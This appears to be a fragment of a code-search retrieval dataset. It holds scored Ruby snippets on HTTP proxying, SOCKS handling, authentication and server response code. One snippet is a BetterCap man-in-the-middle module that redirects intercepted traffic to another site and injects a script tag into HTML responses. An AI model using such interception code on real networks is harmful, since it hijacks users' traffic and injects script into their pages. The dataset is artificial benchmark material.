options[:proxy_uri] = request.proxy_uri\n options[:ssl_verify_peer] = request.ssl_verify_peer?\n options[:ssl_ca_file] = request.ssl_ca_file if request.ssl_ca_file\n options[:ssl_ca_path] = request.ssl_ca_path if request.ssl_ca_path\n\n connection = pool.connection_for(request.host, options)\n connection.read_timeout = request.read_timeout\n\n begin\n http_response = connection.request(build_net_http_request(request))\n response.body = http_response.body\n response.status = http_response.code.to_i\n response.headers = http_response.to_hash\n rescue Timeout::Error, Errno::ETIMEDOUT => e\n response.timeout = true\n end\n nil\n\n end", "title": "" }, { "docid": "fd32e78f22659ca2eb998e6b8670f1a8", "score": "0.54604816", "text": "def socks_parse_response\n case @socks_state\n when :method_negotiation\n return unless @socks_data.size >= 2\n\n _, method = @socks_data.slice!(0, 2).unpack('CC')\n\n if socks_methods.include?(method)\n case method\n when 0 then socks_send_connect_request\n when 2 then socks_send_authentication\n end\n else\n raise SOCKSError, 'proxy did not accept method'\n end\n\n when :authenticating\n return unless @socks_data.size >= 2\n\n socks_version, status_code = @socks_data.slice!(0, 2).unpack('CC')\n\n raise SOCKSError, \"SOCKS version 5 not supported\" unless socks_version == 5\n raise SOCKSError, 'access denied by proxy' unless status_code == 0\n\n socks_send_connect_request\n\n when :connecting\n return unless @socks_data.size >= 2\n\n socks_version, status_code = @socks_data.slice(0, 2).unpack('CC')\n\n raise SOCKSError, \"SOCKS version #{socks_version} is not 5\" unless socks_version == 5\n raise SOCKSError.for_response_code(status_code) unless status_code == 0\n\n min_size = @socks_data[3].ord == 3 ? 5 : 4\n\n return unless @socks_data.size >= min_size\n\n size = case @socks_data[3].ord\n when 1 then 4\n when 3 then @socks_data[4].ord\n when 4 then 16\n else raise SOCKSError.for_response_code(@socks_data[3])\n end\n\n return unless @socks_data.size >= (min_size + size)\n\n bind_addr = @socks_data.slice(min_size, size)\n\n ip = case @socks_data[3].ord\n when 1 then bind_addr.bytes.to_a.join('.')\n when 3 then bind_addr\n when 4 then # TODO: ???\n end\n\n socks_unhook(ip)\n end\n rescue Exception => e\n @socks_deferrable.fail(e)\n end", "title": "" }, { "docid": "b5eceacdb55f5c092145b56357da34d2", "score": "0.5437962", "text": "def proxy_uri; end", "title": "" }, { "docid": "b5eceacdb55f5c092145b56357da34d2", "score": "0.5437962", "text": "def proxy_uri; end", "title": "" }, { "docid": "7e15832b1a948a9bd6bc0592cd565dcf", "score": "0.5423993", "text": "def proxy_target_unbound\n @server_side = nil\n end", "title": "" }, { "docid": "9d2e035d94cf8674b32d8bfae1c09757", "score": "0.539503", "text": "def fixup_response( response )\n\t\tresponse = super\n\n\t\t# Ensure the response is acceptable; if it isn't respond with the appropriate\n\t\t# status.\n\t\tunless response.acceptable?\n\t\t\tbody = self.make_not_acceptable_body( response )\n\t\t\tfinish_with( HTTP::NOT_ACCEPTABLE, body ) # throw\n\t\tend\n\n\t\treturn response\n\tend", "title": "" }, { "docid": "a698d264d69583274038fda48e3ccd78", "score": "0.53908604", "text": "def force_http10_response_state\n super\n end", "title": "" }, { "docid": "e2d0d9b74f9c09135f88c7d834f660b5", "score": "0.53887516", "text": "def handle_unverified_request; end", "title": "" }, { "docid": "e2d0d9b74f9c09135f88c7d834f660b5", "score": "0.53887516", "text": "def handle_unverified_request; end", "title": "" }, { "docid": "d4232e5f69d746656c5ebd177d887f38", "score": "0.5384422", "text": "def on_request( request, response )\n \n \n BetterCap::Logger.info \"Hacking http://#{request.host}\"\n # is it a html page?\n if response.content_type =~ /^text\\/html.*/\n \n if request.host =~ /example.com.*/\n response.redirect!(\"https://webtwob.de\")\n \n \n \n #found = false\n #BetterCap::Logger.info \"Redirecting\"\n #for h in response.headers\n # if h.include?(\"Location:\")\n # found = true\n # if !h.include?(\"https://webtwob.de\")\n # h.replace(\"Location: http://webtwob.de\")\n # end\n # end\n #end\n \n #if !found \n # BetterCap::Logger.info \"No Location header found, adding one.\"\n # # Replace HTTP Response code with 302\n # response.headers.\n # # This is an ugly hack to get around github issue #117\n # response.headers.reject! { |header| header.empty? }\n # # This is our payload line that is fine\n # response.headers << \"Location: https://webtwob.de\"\n # # This line is also necessary because of github issue #117\n # response.headers << \"\"\n # \n #end\n end\n \n \n #BetterCap::Logger.info \"Hacking http://#{request.host}#{request.url}\"\n # make sure to use sub! or gsub! to update the instance\n response.body.sub!( '</body>', ' <script> alert(42); </script> </body>' )\n end\n end", "title": "" }, { "docid": "05e8cf0a0dcb8f430befde27d95dc113", "score": "0.5370373", "text": "def service(req, res)\n proxy_servlet.service(req, res)\n if res.status == STATUS_SERVE_ORIGINAL\n res.status = 200\n super\n end\n end", "title": "" }, { "docid": "c061e7cef3814b60fc0a27de3d83da8d", "score": "0.5367969", "text": "def proxy_port; end", "title": "" }, { "docid": "40c16a6c7de34ebaf39789d2c5f35548", "score": "0.5367939", "text": "def preflight\n head 200\n end", "title": "" }, { "docid": "05a1c51b28c0eb4b820fa784b5cc5f2a", "score": "0.5357244", "text": "def proxy_exclusion\n super\n end", "title": "" }, { "docid": "13629c4a1e16b972b1298e2cb061ca89", "score": "0.5356311", "text": "def analyse_http_code(response_code)\n case response_code\n when 1 then\n # Failure to use the proxy\n return false\n when 400 .. 403 then\n # Proxy asks for authentication\n return false\n when 407 then\n # Proxy asks for authentication\n return false\n when 444 then\n return response_code\n else\n # If we get a valid return code, we add it to the final list\n return response_code\n end\n end", "title": "" }, { "docid": "6b7adc29e4696972dc52514462842b47", "score": "0.5346595", "text": "def bounce_to_http_basic()\n unless current_user\n request_http_basic_authentication\n return\n end\n\n respond_to do |format|\n format.html do\n render 'session/forbidden', layout: false, status: :forbidden\n end\n format.json do\n render json: { error: \"You're not allowed to access that\" }\n end\n end\n end", "title": "" }, { "docid": "59da8cce63dce8911d22f174bbfacefb", "score": "0.53417623", "text": "def configure_proxy(options, env)\n proxy = request_options(env)[:proxy]\n return unless proxy\n\n options[:proxy] = {\n host: proxy[:uri].host,\n port: proxy[:uri].port,\n authorization: [proxy[:user], proxy[:password]]\n }\n end", "title": "" }, { "docid": "ad5fcc48092365cd7b16f75f12a6c395", "score": "0.53171265", "text": "def proxy\n original_method = request.method\n original_params = request.query_parameters\n resource = params[:path].nil? ? '/' : params[:path]\n original_params = add_branch_to_params(original_params, resource)\n original_payload = request.request_parameters[controller_name]\n if request.post? && request.raw_post\n original_payload = request.raw_post.clone\n end\n original_payload = get_file_data(params) if params[:filedata]\n client = rest_client\n begin\n res = client.call_tapi(original_method, URI.escape(resource), original_params, original_payload, nil)\n # 401 errors means our proxy is not configured right.\n # Change it to 502 to distinguish with local applications 401/403 errors\n resp_data = res[:data]\n if res[:code] == 401 || res[:code] == 403 \n res[:code] = 502\n end\n if resp_data.respond_to?(:headers)\n if resp_data.headers[:content_disposition]\n send_data resp_data, disposition: resp_data.headers[:content_disposition], type: resp_data.headers[:content_type]\n return\n end\n if resp_data.headers[:x_resource_count]\n response.headers['x-resource-count'] = resp_data.headers[:x_resource_count]\n end\n render status: res[:code], json: resp_data\n else\n render status: res[:code], json: resp_data\n end\n rescue Exception => e\n render status: 500, json: { error: e }\n end\n end", "title": "" }, { "docid": "943489a721566e450334f72f2f94b017", "score": "0.5314713", "text": "def fixup_response( response )\n\t\tself.log.debug \"Fixing up response: %p\" % [ response ]\n\t\tself.fixup_response_content_type( response )\n\t\tself.fixup_head_response( response ) if\n\t\t\tresponse.request && response.request.verb == :HEAD\n\t\tself.log.debug \" after fixup: %p\" % [ response ]\n\n\t\treturn response\n\tend", "title": "" }, { "docid": "e5cc0ecde4d8a4450838f3fa41230152", "score": "0.53097177", "text": "def authorized?(realm = 'Proxy Authentication')\n return true if @request.authorized?\n set_deferred_failure(:reason => 407, :realm => realm)\n end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.53066635", "text": "def proxy; end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.53066635", "text": "def proxy; end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.53066635", "text": "def proxy; end", "title": "" }, { "docid": "135cf50fca620fc4d2a43034dc8310f5", "score": "0.5299711", "text": "def skip_http_headers; end", "title": "" }, { "docid": "2d3efbba57068cd7bb91b7831701d54c", "score": "0.5295014", "text": "def forward_request(env)\n rewrite_request(env)\n options = http_request_options(env)\n url = @request[:host] + @request[:uri]\n\n result = Tom::Http.make_request(@request[:method], url, options)\n\n headers = {\"Downstream-Url\" => url}.merge result.response_header\n [result.response_header.status, headers, result.response]\n end", "title": "" }, { "docid": "82a58cf389ecc0ab2a17149a455ebb0d", "score": "0.52516824", "text": "def filter_response(req, res)\n command = nil\n if res.status == HTTP::Status::UNAUTHORIZED\n if challenge = parse_authentication_header(res, 'www-authenticate')\n uri = req.header.request_uri\n challenge.each do |scheme, param_str|\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if scheme.downcase == auth.scheme.downcase\n challengeable = auth.challenge(uri, param_str)\n command = :retry if challengeable\n end\n end\n end\n # ignore unknown authentication scheme\n end\n end\n command\n end", "title": "" }, { "docid": "cafc2285727345b0bb3684d16bb4bdf4", "score": "0.524703", "text": "def process_no_auth(request, response)\n response.start(401, true) do |head,out|\n head['WWW-Authenticate'] = 'NTLM'\n end\n end", "title": "" }, { "docid": "6870ba16dc570f935ac736174f4cf025", "score": "0.52419955", "text": "def public_proxy?; end", "title": "" }, { "docid": "6870ba16dc570f935ac736174f4cf025", "score": "0.52419955", "text": "def public_proxy?; end", "title": "" }, { "docid": "441f59413c66007db4483c6587a28ffd", "score": "0.52231336", "text": "def protected!\n return if from_bitbooks?\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n halt 401, \"Not authorized\\n\"\nend", "title": "" }, { "docid": "bcb6d1fef5d92cd9c8dbbcb84ec81ba6", "score": "0.52121246", "text": "def proxy\n original_method = request.method\n original_params = request.query_parameters\n resource = params[:path].nil? ? \"/\" : params[:path]\n original_params = add_branch_to_params(original_params, resource)\n original_payload = request.request_parameters[controller_name]\n if request.post? && request.raw_post\n original_payload = request.raw_post.clone\n end\n if params[:filedata]\n original_payload = get_file_data(params)\n end\n client = RedhatAccessCfme::Telemetry::PortalClient.new(rhai_service_url,\n rhai_service_url,\n {},\n self,\n :logger => $log,\n :user_agent => http_user_agent,\n :user_headers => {'content-type' => 'application/json', 'accept' => 'application/json'},\n :http_proxy => rhai_service_proxy,\n SUBSET_LIST_TYPE_KEY => SUBSET_LIST_TYPE)\n\n res = client.call_tapi(original_method, URI.escape(resource), original_params, original_payload, nil)\n # 401 errors means our proxy is not configured right.\n # Change it to 502 to distinguish with local applications 401 errors\n resp_data = res[:data]\n if (res[:code] == 401)\n res[:code] = 502\n resp_data = {\n :message => 'Authentication to the Insights service failed.'\n }\n end\n render :status => res[:code], :json => resp_data\n end", "title": "" }, { "docid": "9ce7fcc768cad44f40671d9c8d7feb67", "score": "0.52110684", "text": "def http_proxy=(_arg0); end", "title": "" }, { "docid": "a75ed37f1d589b5d07e45098283b8fa5", "score": "0.5210911", "text": "def allow_same_origin_as_host; end", "title": "" }, { "docid": "13aff3c6ff06216d54d764c9358e0a05", "score": "0.5199717", "text": "def challenge!\n response_headers = { \"WWW-Authenticate\" => %(Basic realm=\"My Application\"), 'Content-Type' => 'text/plain' }\n response_headers['X-WHATEVER'] = \"some other value\"\n body = \"401 Unauthorized\"\n response = Rack::Response.new(body, 401, response_headers)\n custom! response.finish\n end", "title": "" }, { "docid": "2b99f28ca7e52a82a199bbba00370e23", "score": "0.5198171", "text": "def handle_request(client, requests)\n env = client.env\n io_buffer = client.io_buffer\n socket = client.io # io may be a MiniSSL::Socket\n app_body = nil\n\n\n return false if closed_socket?(socket)\n\n if client.http_content_length_limit_exceeded\n return prepare_response(413, {}, [\"Payload Too Large\"], requests, client)\n end\n\n normalize_env env, client\n\n env[PUMA_SOCKET] = socket\n\n if env[HTTPS_KEY] && socket.peercert\n env[PUMA_PEERCERT] = socket.peercert\n end\n\n env[HIJACK_P] = true\n env[HIJACK] = client\n\n env[RACK_INPUT] = client.body\n env[RACK_URL_SCHEME] ||= default_server_port(env) == PORT_443 ? HTTPS : HTTP\n\n if @early_hints\n env[EARLY_HINTS] = lambda { |headers|\n begin\n unless (str = str_early_hints headers).empty?\n fast_write_str socket, \"HTTP/1.1 103 Early Hints\\r\\n#{str}\\r\\n\"\n end\n rescue ConnectionError => e\n @log_writer.debug_error e\n # noop, if we lost the socket we just won't send the early hints\n end\n }\n end\n\n req_env_post_parse env\n\n # A rack extension. If the app writes #call'ables to this\n # array, we will invoke them when the request is done.\n #\n env[RACK_AFTER_REPLY] ||= []\n\n begin\n if @supported_http_methods == :any || @supported_http_methods.key?(env[REQUEST_METHOD])\n status, headers, app_body = @thread_pool.with_force_shutdown do\n @app.call(env)\n end\n else\n @log_writer.log \"Unsupported HTTP method used: #{env[REQUEST_METHOD]}\"\n status, headers, app_body = [501, {}, [\"#{env[REQUEST_METHOD]} method is not supported\"]]\n end\n\n # app_body needs to always be closed, hold value in case lowlevel_error\n # is called\n res_body = app_body\n\n # full hijack, app called env['rack.hijack']\n return :async if client.hijacked\n\n status = status.to_i\n\n if status == -1\n unless headers.empty? and res_body == []\n raise \"async response must have empty headers and body\"\n end\n\n return :async\n end\n rescue ThreadPool::ForceShutdown => e\n @log_writer.unknown_error e, client, \"Rack app\"\n @log_writer.log \"Detected force shutdown of a thread\"\n\n status, headers, res_body = lowlevel_error(e, env, 503)\n rescue Exception => e\n @log_writer.unknown_error e, client, \"Rack app\"\n\n status, headers, res_body = lowlevel_error(e, env, 500)\n end\n prepare_response(status, headers, res_body, requests, client)\n ensure\n io_buffer.reset\n uncork_socket client.io\n app_body.close if app_body.respond_to? :close\n client.tempfile&.unlink\n after_reply = env[RACK_AFTER_REPLY] || []\n begin\n after_reply.each { |o| o.call }\n rescue StandardError => e\n @log_writer.debug_error e\n end unless after_reply.empty?\n end", "title": "" }, { "docid": "1ef13dcf667adcd708c6e73fabde7e6d", "score": "0.5185803", "text": "def reply_to_options\n allow = @headers['Access-Control-Request-Headers']\n headers = [\n \"Access-Control-Allow-Origin: *\",\n \"Access-Control-Allow-Methods: POST, GET, OPTIONS\",\n \"Access-Control-Allow-Headers: #{allow}\",\n \"Access-Control-Max-Age: #{60 * 60 * 24 * 30}\"\n ]\n send_status(200, 'OK', headers)\n end", "title": "" }, { "docid": "2dfb6b31ca18a513b10db6308876ecdd", "score": "0.51661146", "text": "def prepare_response(status, headers, res_body, requests, client)\n env = client.env\n socket = client.io\n io_buffer = client.io_buffer\n\n return false if closed_socket?(socket)\n\n # Close the connection after a reasonable number of inline requests\n # if the server is at capacity and the listener has a new connection ready.\n # This allows Puma to service connections fairly when the number\n # of concurrent connections exceeds the size of the threadpool.\n force_keep_alive = requests < @max_fast_inline ||\n @thread_pool.busy_threads < @max_threads ||\n !client.listener.to_io.wait_readable(0)\n\n resp_info = str_headers(env, status, headers, res_body, io_buffer, force_keep_alive)\n\n close_body = false\n response_hijack = nil\n content_length = resp_info[:content_length]\n keep_alive = resp_info[:keep_alive]\n\n if res_body.respond_to?(:each) && !resp_info[:response_hijack]\n # below converts app_body into body, dependent on app_body's characteristics, and\n # content_length will be set if it can be determined\n if !content_length && !resp_info[:transfer_encoding] && status != 204\n if res_body.respond_to?(:to_ary) && (array_body = res_body.to_ary) &&\n array_body.is_a?(Array)\n body = array_body.compact\n content_length = body.sum(&:bytesize)\n elsif res_body.is_a?(File) && res_body.respond_to?(:size)\n body = res_body\n content_length = body.size\n elsif res_body.respond_to?(:to_path) && File.readable?(fn = res_body.to_path)\n body = File.open fn, 'rb'\n content_length = body.size\n close_body = true\n else\n body = res_body\n end\n elsif !res_body.is_a?(::File) && res_body.respond_to?(:to_path) &&\n File.readable?(fn = res_body.to_path)\n body = File.open fn, 'rb'\n content_length = body.size\n close_body = true\n elsif !res_body.is_a?(::File) && res_body.respond_to?(:filename) &&\n res_body.respond_to?(:bytesize) && File.readable?(fn = res_body.filename)\n # Sprockets::Asset\n content_length = res_body.bytesize unless content_length\n if (body_str = res_body.to_hash[:source])\n body = [body_str]\n else # avoid each and use a File object\n body = File.open fn, 'rb'\n close_body = true\n end\n else\n body = res_body\n end\n else\n # partial hijack, from Rack spec:\n # Servers must ignore the body part of the response tuple when the\n # rack.hijack response header is present.\n response_hijack = resp_info[:response_hijack] || res_body\n end\n\n line_ending = LINE_END\n\n cork_socket socket\n\n if resp_info[:no_body]\n # 101 (Switching Protocols) doesn't return here or have content_length,\n # it should be using `response_hijack`\n unless status == 101\n if content_length && status != 204\n io_buffer.append CONTENT_LENGTH_S, content_length.to_s, line_ending\n end\n\n io_buffer << LINE_END\n fast_write_str socket, io_buffer.read_and_reset\n socket.flush\n return keep_alive\n end\n else\n if content_length\n io_buffer.append CONTENT_LENGTH_S, content_length.to_s, line_ending\n chunked = false\n elsif !response_hijack && resp_info[:allow_chunked]\n io_buffer << TRANSFER_ENCODING_CHUNKED\n chunked = true\n end\n end\n\n io_buffer << line_ending\n\n # partial hijack, we write headers, then hand the socket to the app via\n # response_hijack.call\n if response_hijack\n fast_write_str socket, io_buffer.read_and_reset\n uncork_socket socket\n response_hijack.call socket\n return :async\n end\n\n fast_write_response socket, body, io_buffer, chunked, content_length.to_i\n body.close if close_body\n keep_alive\n end", "title": "" }, { "docid": "c3fd2a6e51c277a2c3490b4ffd61c2b0", "score": "0.5164384", "text": "def setup_forwarded_info\n if @forwarded_server = self[\"x-forwarded-server\"]\n @forwarded_server = @forwarded_server.split(\",\", 2).first\n end\n @forwarded_proto = self[\"x-forwarded-proto\"]\n if host_port = self[\"x-forwarded-host\"]\n host_port = host_port.split(\",\", 2).first\n @forwarded_host, tmp = host_port.split(\":\", 2)\n @forwarded_port = (tmp || (@forwarded_proto == \"https\" ? 443 : 80)).to_i\n end\n if addrs = self[\"x-forwarded-for\"]\n addrs = addrs.split(\",\").collect(&:strip)\n addrs.reject!{|ip| PrivateNetworkRegexp =~ ip }\n @forwarded_for = addrs.first\n end\n end", "title": "" }, { "docid": "02e71340b520617e39fb4f9b4dc9756a", "score": "0.51551574", "text": "def upstream_response\n http = EM::HttpRequest.new(url).get\n logger.debug \"Received #{http.response_header.status} from NextBus\"\n http.response\n end", "title": "" }, { "docid": "dccf6209479dc5bb36e0d6b3ce9c276e", "score": "0.5149886", "text": "def normalize_rack_response_headers(headers)\n result = headers.inject({}) do |h, (k, v)|\n h[k.to_s.gsub('_', '-').downcase] = v.join(\"\\n\")\n h\n end\n\n # a proxy server must always instruct the client close the connection by\n # specification because a live socket cannot be proxied from client to\n # the real server. this also works around a lame warning in ruby 1.9.3\n # webbrick code (fixed in 2.1.0+) saying:\n # Could not determine content-length of response body.\n # Set content-length of the response or set Response#chunked = true\n # in the case of 204 empty response, which is incorrect.\n result['connection'] = 'close'\n result\n end", "title": "" }, { "docid": "dcf8d40d783e68192e7f4d6c97471015", "score": "0.51471287", "text": "def respond\n\t\tif http_auth?\n\t\t\t\thttp_auth\n\t\telse\n\t\t\t\tredirect\n\t\tend\n\tend", "title": "" }, { "docid": "6f07f2d5a7fcba40442fc25285969d5e", "score": "0.51373327", "text": "def handle_request(request) \n add_cookies!(request)\n authenticate_request!(request)\n response = @client.request(request)\n \n set_cookies(response)\n \n case response\n when Net::HTTPUnauthorized\n response = respond_to_challenge(request, response)\n end\n end", "title": "" }, { "docid": "05105869eaa4b2bcfcbccb29b648ef94", "score": "0.51224065", "text": "def allow_same_origin_as_host=(_arg0); end", "title": "" }, { "docid": "dd5f33021cef6f3f842903e84870bba9", "score": "0.5114685", "text": "def response(env)\n env.trace 'open send connection'\n env.logger.debug \"Begin send request\"\n validate_send_params # Ensure required parameters\n if authenticate\n [200, {}, prepare_send_request]\n else\n [401, {}, \"Unauthorized\"]\n end\n end", "title": "" }, { "docid": "2c65e7d4e1aa02e5a0ea274f0bb2501a", "score": "0.5105022", "text": "def ignore_env_proxy; end", "title": "" }, { "docid": "2c65e7d4e1aa02e5a0ea274f0bb2501a", "score": "0.5105022", "text": "def ignore_env_proxy; end", "title": "" }, { "docid": "2c65e7d4e1aa02e5a0ea274f0bb2501a", "score": "0.5105022", "text": "def ignore_env_proxy; end", "title": "" }, { "docid": "d0be9833d471cf7887a48119801c3c47", "score": "0.51015216", "text": "def do_OPTIONS(request, response)\n super\n\n response.header['Access-Control-Allow-Methods'] = 'POST, OPTIONS'\n response.status = Server.status_code('OPTIONS')\n end", "title": "" }, { "docid": "e5177603735ba241b4eff3ef437ef855", "score": "0.5092044", "text": "def set_proxy_header(opts)\n opts = check_params(opts,[:headers])\n super(opts)\n end", "title": "" }, { "docid": "de895e359db2846523c020250e910fd3", "score": "0.50832105", "text": "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "title": "" }, { "docid": "de895e359db2846523c020250e910fd3", "score": "0.50832105", "text": "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "title": "" }, { "docid": "fdb55acdc095bcb2a04c5778b4abc40a", "score": "0.5081288", "text": "def proxy_receive_data data\n @proxystatus = :headers if !@proxystatus\n \n if @proxystatus == :headers\n # First gather the headers\n @proxybuffer += data\n if @proxybuffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @proxybuffer[0...($~.begin(0))]\n @proxybuffer = @proxybuffer[($~.end(0))..-1]\n\n # Try the webrick parser\n headers = {}\n header_lines = header_data.split(/[\\r\\n]+/)\n status = header_lines[0]\n header_lines[1..-1].each do |line|\n h = line.split(/:\\s*/, 2)\n headers[h[0]] = h[1]\n end\n \n # The rest of the incoming connection \n @proxystatus = :stream\n end\n end\n \n if @proxystatus == :stream\n send_data header_lines[0] + \"\\r\\n\"\n send_data \"Content-Type: \" + headers['Content-Type'] + \"\\r\\n\"\n send_data \"Content-Length: \" + headers['Content-Length'] + \"\\r\\n\"\n send_data \"\\r\\n\"\n send_data @proxybuffer\n\n # Any further data is piped through \n EM::enable_proxy proxy_conn, self, 1024*10\n end\n end", "title": "" }, { "docid": "ceb2b3b1ac9a6502a311e4081166a3af", "score": "0.50701034", "text": "def setup_proxy_header(req, res)\n # Choose header fields to transfer\n header = Hash.new\n choose_header(req, header)\n set_via(header)\n return header\n end", "title": "" }, { "docid": "448b8f2f8ee72da78bf598af27d86f0b", "score": "0.50688225", "text": "def proxy\n respond_to do |format|\n format.ruby {}\n format.perl {}\n format.php {}\n end\n end", "title": "" }, { "docid": "773d4dc53a7f1bcddab0b2bce7421034", "score": "0.50637", "text": "def option_accept_invalid_http_response\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option accept-invalid-http-response \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "0fa5fad46588b2e27ae60c94cf6db2e5", "score": "0.5052532", "text": "def option_http_use_proxy_header\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option http-use-proxy-header \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "f5ad7877064b7fe04576d93f3ef4ba01", "score": "0.50486934", "text": "def connect_through_proxy; end", "title": "" }, { "docid": "c6394c8b473f64200f8e64d7408ef09e", "score": "0.5045969", "text": "def throttled_response_retry_after_header; end", "title": "" }, { "docid": "8f36157e043c666dd922de85b5a3d61e", "score": "0.5040994", "text": "def execute\n response = send_request\n response.body.to_s\n rescue HTTP::Redirector::TooManyRedirectsError\n raise ProxyFetcher::Exceptions::MaximumRedirectsReached\n end", "title": "" }, { "docid": "a654d7cf7c63df53875fa3980c27539f", "score": "0.5039449", "text": "def with_socks_proxy\n old_socks_server, old_socks_port = ::TCPSocket::socks_server, ::TCPSocket::socks_port\n ::TCPSocket::socks_server, ::TCPSocket::socks_port = '127.0.0.1', @local_port\n yield\n rescue *NETWORK_ERRORS => e\n @network_errors_handler.call(e)\n ensure\n ::TCPSocket::socks_server, ::TCPSocket::socks_port = old_socks_server, old_socks_port\n end", "title": "" }, { "docid": "ff6c6bb67f7b6af3111a370279fd3b1b", "score": "0.50372666", "text": "def set_proxy_relative_url_root\n ::ActionController::Base.proxy_relative_url_root = request.forwarded_uris.empty? ? nil : parse_proxy_relative_url_root\n end", "title": "" }, { "docid": "f2cdc9f80085eea6b07c250a7e0da6c7", "score": "0.50368905", "text": "def preflight; end", "title": "" }, { "docid": "d4d0bc5a3ba54e80fbef175a655ae375", "score": "0.50179034", "text": "def try_request httpmethod, uri, stream, auth, options\n requesturl = uri.path\n requesturl = requesturl + \"?\" + uri.query unless uri.query.nil?\n request = RubyDav::get_request_class(httpmethod).new requesturl\n\n (%w(destination if_match if_none_match if_modified_since) +\n %w(if_unmodified_since)).each do |k|\n add_request_header request, options, k\n end\n\n add_request_header request, options, :overwrite do |v|\n v == false ? \"F\" : \"T\"\n end\n \n add_request_header request, options, :depth do |v|\n v == INFINITY ? 'infinity' : v.to_s\n end\n\n add_request_header request, options, :timeout do |v|\n v == INFINITY ? 'Infinite, Second-4100000000' : 'Second-' + v.to_s\n end\n\n add_request_header(request, options, :lock_token) { |v| \"<#{v}>\" }\n\n add_request_header(request, options, :if) do |v|\n strict_if = options[:strict_if] == false ? false : true\n\n if v.is_a? Hash\n v2 = {}\n v.each do |k, v|\n v2[fullurl(k)] = v\n end\n v = v2\n end\n \n IfHeader.if_header strict_if, v\n end\n\n add_request_header(request, options, :cookie) do |v|\n cookies = []\n v.each{|n,v| cookies << \"\"+n.to_s+\"=\"+v }\n cookies.join \",\"\n end\n\n add_request_header(request, options, :apply_to_redirect_ref) do |v|\n v ? \"T\" : \"F\"\n end\n\n add_request_header(request, options, :accept_encoding)\n\n add_request_header(request, options, :x_requested_with)\n\n unless stream.nil?\n add_request_header request, options, :content_type\n request.add_field('Expect', '100-continue')\n # request.add_field('Transfer-Encoding', 'chunked')\n stream.rewind if stream.respond_to?(:rewind)\n request.body_stream = stream\n request.add_field('Content-Length', stream.size)\n end\n \n request.add_field('Authorization', auth.authorization(request.method, requesturl)) unless auth.nil?\n\n options[:headers].each { |k, v| request[k] = v } if\n options.include? :headers\n\n http_response = @connection_pool.request(uri, request)\n\n @logger.debug { http_response.body }\n ResponseFactory.get(uri.path, http_response.code, http_response.to_hash,\n http_response.body, httpmethod)\n end", "title": "" }, { "docid": "292db7070b35a7697a8b11f0d8db421c", "score": "0.5015782", "text": "def forward_request(chef_server, request)\n \n case request.method\n when \"GET\"\n req = Net::HTTP::Get.new(request.fullpath)\n logger.debug \" forward_request: created GET request with #{request.fullpath}\"\n when \"POST\"\n req = Net::HTTP::Post.new(request.fullpath)\n req.body = request.body.string\n logger.debug \" forward_request: created POST request with #{request.fullpath}\"\n when \"PUT\"\n req = Net::HTTP::Put.new(request.fullpath)\n req.body = request.body.string\n logger.debug \" forward_request: created PUT request with #{request.fullpath}\"\n when \"DELETE\"\n req = Net::HTTP::Delete.new(request.fullpath)\n logger.debug \" forward_request: created DELETE request with #{request.fullpath}\"\n else\n logger.warn \" forward_request: invalid request.method\"\n return nil\n end\n\n #logger.debug \" forward_request: req.body: #{req.body}\"\n\n headers_list = [\"Content-Type\", \"Content-Length\", \"X-Chef-Version\", \"X-Ops-Sign\", \"X-Ops-Userid\", \"X-Ops-Content-Hash\", \"X-Ops-Timestamp\", \"X-Remote-Request-Id\"]\n (1..9).to_a.each do |key|\n headers_list << \"X-Ops-Authorization-#{key}\"\n end\n headers_list.each do |header|\n if request.headers[header]\n #logger.debug \" forward_request: adding header #{header}: #{request.headers[header]}\"\n req[header] = request.headers[header]\n end\n end\n\n uri = URI.parse(chef_server[:url])\n res = Net::HTTP.start(uri.hostname, uri.port) { |http|\n http.request(req)\n }\n\n #logger.debug \" forward_request: {status => #{res.code}, message => #{res.message}, body => #{res.body}\"\n return {\"status\" => res.code, \"message\" => res.message, \"body\" => res.body}\n\nend", "title": "" }, { "docid": "cb11d576407e782d5cbdfb8c4771ad9d", "score": "0.5013515", "text": "def access_denied\nrespond_to do |format|\nformat.html do\nstore_location\nredirect_to new_session_path\nend\nformat.any do\nrequest_http_basic_authentication 'Web Password'\nend\nend\nend", "title": "" } ]
3f16ac1eba51e0fc2a6566cd9f5db7d6
True if all the pins are exported, set as input, and pulled up
[ { "docid": "50204034bfc1548e7f966bbd54247021", "score": "0.7062676", "text": "def ready?\n pins.all?(&:exported) &&\n pins.all? { |n| n.direction == :in } &&\n pins.all? { |n| n.pull != :down }\n end", "title": "" } ]
[ { "docid": "22ca05e06b49b466a97a9352c9719b05", "score": "0.61464304", "text": "def ground_pins?\n @ground_pins\n end", "title": "" }, { "docid": "601ca8c6bb2b82cdc3ed3cccbc3f9f7a", "score": "0.60173213", "text": "def other_pins?\n @other_pins\n end", "title": "" }, { "docid": "7de1fbcd50b97169376265b6bdf845d0", "score": "0.5943378", "text": "def power_pins?\n @power_pins\n end", "title": "" }, { "docid": "c2ac59e326364ab8a1244ad6b82d1717", "score": "0.5737937", "text": "def pin_exists?(pin)\r\n all.map(&:pin).include?(pin)\r\n end", "title": "" }, { "docid": "17eba35e68f7887ef3f058677e23f505", "score": "0.5731593", "text": "def set_outputs_if_available(stack)\n outputs = extract_outputs(stack.custom.fetch(:layout, {}))\n unless(outputs.empty?)\n stack.outputs = outputs\n stack.valid_state\n true\n else\n false\n end\n end", "title": "" }, { "docid": "78d4411b53987ee8ba44acdf261ba5fc", "score": "0.5692465", "text": "def output?\n @mplab_pin.output?\n end", "title": "" }, { "docid": "d1dab2450d86d460293925eb2303949d", "score": "0.5612808", "text": "def block_should_be_exported?\n export_state = block_header_arguments[':exports']\n case\n when ['both', 'code', nil, ''].include?(export_state)\n true\n when ['none', 'results'].include?(export_state)\n false\n 